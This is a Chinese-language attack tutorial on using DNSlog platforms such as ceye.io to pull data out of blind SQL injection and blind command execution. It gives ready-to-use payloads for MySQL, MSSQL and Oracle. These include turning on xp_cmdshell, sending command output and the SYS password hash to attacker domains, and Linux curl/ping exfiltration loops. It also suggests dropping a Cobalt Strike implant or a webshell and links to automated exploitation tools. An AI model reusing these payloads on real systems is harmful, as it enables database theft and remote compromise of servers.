0x01 注入利用dnslog原理
如图所示,作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。
免费DNS服务器平台:
http://ceye.io/ http://dnslog.cn/
0x02 dnslog应用在哪些场景下
- SQL注入中的盲注
- 无回显的命令执行
- 无回显的SSRF
简单理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。
0x03 在mysql盲注中的应用
mysql中主要利用到load_file函数,它在mysql中是用来读取文件并返回文件内容为字符串,实际上它还可以用来发送dns请求。
且要注意一点:load_file函数在Linux下是无法用来做dnslog攻击的。
使用此函数需要满足以下条件: (1).所读文件必须在服务器上,且必须指定文件其绝对路径 (2).连接当前数据库用户必须有FILE权限 (3).文件内容必须小于max_allowed_packet。
利用的payload:
?id=1' union select load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))--+
?id=1' and if((select load_file(concat('\\\\',(select database()),'.XXXXX.ceye.io\\abc'))),1,1)--+ database()就是要做sql注入查询的地方
ceye.io平台注册之后会给分配一个二级域名,这里我们把查询的语句拼接到三级域名上,dns解析之后将在平台上记录解析域名,每条记录的三级域名将显示我们sql语句查询的结果。比如这里三级域名将是查询到的数据库。以dnslog的方式来使查询结果完整显示出来,比直接盲注查询的要快很多。
查询表或字段时需要加 limit 限制输出,每一次查询对应一条dns记录,也就一个三级域名,一个查询结果,因此limit限制输出的结果为1.
这里以sqli-labs第八关盲注为例,练习dnslog注入:
查看当前数据库:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27and%20if((select%20load_file(concat(%27\\\\%27,(select%20database()),%27.xxx.ceye.io\\abc%27))),1,1)--+
可看到当前数据库为security
获取当前用户,需要对user()函数进行hex处理,hex(user())
然后将hex字符再自行解出,这里解码为:root@localhost
后续操作类似于上。这里load_file函数执行结果为null的、有问题的,需要先解决使用此函数需满足的三个条件。
0x04 在mssql中的应用
需要存在堆叠注入,能用;一条一条执行sql命令,poc:
http://127.0.0.1/mssql.php?id=1; DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM 库名.dbo.test_user where [USER] = 'admin')%2b'.nk40ci.ceye.io'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
测试是否为堆叠:?id=1';WAITFOR DELAY '0:0:5'--
获取当前用户:
id=2';declare @a char(128);set @a='\\'%2buser%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--
获取库名:
id=2';declare @a char(128);set @a='\\'%2b(select top 1 name from master.dbo.sysdatabases)%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--
用sqlmap跑出如果数据库为sa权限,那么就可以开启xp_cmdshell组件进行命令执行
开启xp_cmdshell: EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
命令执行sql语句:
id=2';exec master..xp_cmdshell 'whoami'--
这样的话没回显执行。
配合dnslog,通过如下语句,将命令执行的结果返回到dns服务器平台上,查看http日志即可:
?id=1';exec master..xp_cmdshell "for /F %s in ('whoami') do start http://xxx.ceye.io/?%s"--
将whoami执行的显示结果返回到http记录的url最后面的变量,变量名为命令执行显示结果。
由于这条语句将打开本地默认浏览器,因此需要关闭浏览器,默认不是ie的话用tasklist看一下即可:
?id=123';exec master..xp_cmdshell "taskkill /f /im iexplore.exe"--
其实实战时不用知道回显结果,只要能执行命令就行,那么能通外网的话就可以下载执行我们的cs马儿,然后直接就上线了。或者知道绝对路径直接写webshell。
针对linux服务器的话:
curl http://xxx.ceye.io/`whoami` 再平台上查看http记录 ping -c 1 `whoami`.xxx.ceye.io 在平台上查看dns记录 需要多条显示结果的ls: for i in $(ls /);do curl "http://$i.xxx.ceye.io/";done;
自动化命令执行工具:https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py
0x05 oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io'); SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL; SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL; SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL; SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
参考链接:https://www.anquanke.com/post/id/98096#h3-5
关于dnslog利用的脚本自动化:https://github.com/ADOOO/DnslogSqlinj